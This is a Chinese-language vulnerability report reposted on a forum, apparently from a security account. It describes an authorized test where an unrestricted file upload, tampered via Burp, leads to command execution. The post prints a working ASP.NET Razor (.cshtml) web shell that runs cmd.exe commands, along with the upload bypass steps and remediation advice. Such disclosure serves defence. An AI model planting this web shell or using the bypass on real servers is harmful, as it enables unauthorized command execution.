搜索

[2136] 2020-08-31_记某次授权系统存在任意文件上传到命令执行

文档创建者：s7ckTeam
浏览次数：125
最后更新：2025-01-16
2020-08-31_记某次授权系统存在任意文件上传到命令执行 记 某 次 授 权 系 统 存 在 任 意 文 件 上 传 到 命 令 执 行 原 创   纯 钧   E D I 安 全   2 0 2 0 - 0 8 - 3 1 收 录 于 话 题   # 白 帽 之 旅   , 3 1 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 漏 洞 标 题 某 次 授 权 系 统 存 在 任 意 文 件 上 传 到 命 令 执 行 0 2 漏 洞 类 型 命 令 执 行 0 3 漏 洞 等 级 高 危 0 4 漏 洞 U R L h t t p : / / x x x . x x . 7 5 . 2 7 : 9 0 9 0 / 0 5 漏 洞 复 现 第 一 步 第 一 步 : 访 问 网 页
第 二 步 ： 第 二 步 ： 上 传 图 片 ， 用 b u r p 抓 包 ： 修 改 图 片 的 内 容 ， 换 成 h t m l 代 码 ， 但 是 图 片 格 式 没 变 ， 还 是 可 以 正 常 上 传 的 ， 所 以 修 改 上 传 格 式 为 h t m l 文 件 。 然 后 访 问 上 传 后 的 文 件 地 址 ： h t t p : / / x x x . x x . x x . x x : 9 0 9 0 / U p l o a d F i l e / P i c t u r e T e m p / h t m l _ 2 . h t m l   H t m l 代 码 直 接 执 行
第 三 步 第 三 步 : 这 里 将 上 传 的 文 件 修 改 成 c s h t m l 文 件 ， 可 以 直 接 执 行 系 统 命 令 ： @ u s i n g   S y s t e m . C o d e D o m . C o m p i l e r ; @ u s i n g   S y s t e m . D i a g n o s t i c s ; @ u s i n g   S y s t e m . R e f l e c t i o n ; @ u s i n g   S y s t e m . W e b . C o m p i l a t i o n ; @ f u n c t i o n s   { s t r i n g   E x e c u t e C o m m a n d ( s t r i n g   c o m m a n d ,   s t r i n g   a r g u m e n t s   =   n u l l ) { v a r   o u t p u t   =   n e w   S y s t e m . T e x t . S t r i n g B u i l d e r ( ) ; v a r   p r o c e s s   =   n e w   P r o c e s s ( ) ; v a r   s t a r t I n f o   =   n e w   P r o c e s s S t a r t I n f o { F i l e N a m e   =   c o m m a n d , A r g u m e n t s   =   a r g u m e n t s , W o r k i n g D i r e c t o r y   =   H t t p R u n t i m e . A p p D o m a i n A p p P a t h , R e d i r e c t S t a n d a r d O u t p u t   =   t r u e , R e d i r e c t S t a n d a r d E r r o r   =   t r u e , U s e S h e l l E x e c u t e   =   f a l s e } ; p r o c e s s . S t a r t I n f o   =   s t a r t I n f o ; p r o c e s s . O u t p u t D a t a R e c e i v e d   + =   ( s e n d e r ,   a r g s )   = >   o u t p u t . A p p e n d L i n e ( a r g s . D a t a ) ; p r o c e s s . E r r o r D a t a R e c e i v e d   + =   ( s e n d e r ,   a r g s )   = >   o u t p u t . A p p e n d L i n e ( a r g s . D a t a ) ;                                 p r o c e s s . S t a r t ( ) ; p r o c e s s . B e g i n O u t p u t R e a d L i n e ( ) ; p r o c e s s . B e g i n E r r o r R e a d L i n e ( ) ; p r o c e s s . W a i t F o r E x i t ( ) ; r e t u r n   o u t p u t . T o S t r i n g ( ) ; } }             @ { v a r   c m d   =   E x e c u t e C o m m a n d ( " c m d . e x e " ,   " / c   w h o a m i " ) ;                 } O u t p u t   o f   t h e   i n j e c t e d   c o m m a n d   ( k i l l e r ) : @ c m d
然 后 访 问 文 件 上 传 的 文 件 ： h t t p : / / x x x . x x x . 7 5 . 2 7 : 9 0 9 0 / U p l o a d F i l e / P i c t u r e T e m p / c s 2 . c s h t m l h t t p : / / x x x . x x x . x x x . 2 7 : 9 0 9 0 / U p l o a d F i l e / P i c t u r e T e m p / c s 5 . c s h t m l @ c m d
0 6 漏 洞 危 害 因 为 文 件 后 缀 控 制 不 严 ， 导 致 可 以 上 传 其 他 格 式 的 恶 意 文 件 ， 而 且 这 里 大 多 数 是 可 以 下 载 的 或 者 是 展 示 的 ， 其 他 用 户 访 问 了 则 会 直 接 执 行 恶 意 代 码 。 直 接 可 以 上 传 代 码 ， 在 上 传 的 代 码 中 执 行 系 统 命 令 ， 然 后 直 接 访 问 上 传 的 c s h t m l 文 件 则 直 接 返 回 执 行 的 系 统 命 令 结 果 。 0 7 建 议 措 施 做 好 允 许 上 传 的 文 件 后 缀 名 ， 选 用 静 态 服 务 器 ， 不 解 析 文 件 。 P S ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理